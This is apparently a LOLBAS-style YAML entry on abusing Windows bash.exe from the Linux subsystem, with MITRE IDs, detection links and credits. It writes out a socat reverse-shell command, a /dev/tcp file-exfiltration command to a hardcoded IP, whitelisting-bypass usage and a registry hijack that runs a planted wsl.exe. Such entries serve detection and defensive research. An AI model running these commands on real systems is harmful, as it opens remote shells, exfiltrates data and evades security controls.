---
Name: Bash.exe
Description: File used by Windows subsystem for Linux
Author: Oddvar Moe
Created: 2018-05-25
Commands:
  - Command: bash.exe -c "{CMD}"
    Description: Executes executable from bash.exe
    Usecase: Performs execution of specified file, can be used as a defensive evasion.
    Category: Execute
    Privileges: User
    MitreID: T1202
    OperatingSystem: Windows 10
    Tags:
      - Execute: CMD
  - Command: bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"
    Description: Executes a reverse shell
    Usecase: Performs execution of specified file, can be used as a defensive evasion.
    Category: Execute
    Privileges: User
    MitreID: T1202
    OperatingSystem: Windows 10
    Tags:
      - Execute: CMD
  - Command: bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24'
    Description: Exfiltrate data
    Usecase: Performs execution of specified file, can be used as a defensive evasion.
    Category: Execute
    Privileges: User
    MitreID: T1202
    OperatingSystem: Windows 10
    Tags:
      - Execute: CMD
  - Command: bash.exe -c "{CMD}"
    Description: Executes executable from bash.exe
    Usecase: Performs execution of specified file, can be used to bypass Application Whitelisting.
    Category: AWL Bypass
    Privileges: User
    MitreID: T1202
    OperatingSystem: Windows 10
    Tags:
      - Execute: CMD
  - Command: bash.exe
    Description: When executed, `bash.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.
    Usecase: Execute a payload as a child process of `bash.exe` while masquerading as WSL.
    Category: Execute
    Privileges: User
    MitreID: T1218
    OperatingSystem: Windows 10, Windows Server 2019, Windows 11
    Tags:
      - Execute: CMD
Full_Path:
  - Path: C:\Windows\System32\bash.exe
  - Path: C:\Windows\SysWOW64\bash.exe
Detection:
  - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
  - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml
  - IOC: Child process from bash.exe
Resources:
  - Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
  - Link: https://cardinalops.com/blog/bash-and-switch-hijacking-via-windows-subsystem-for-linux/
Acknowledgement:
  - Person: Alex Ionescu
    Handle: '@aionescu'
  - Person: Asif Matadar
    Handle: '@d1r4c'
  - Person: Liran Ravich, CardinalOps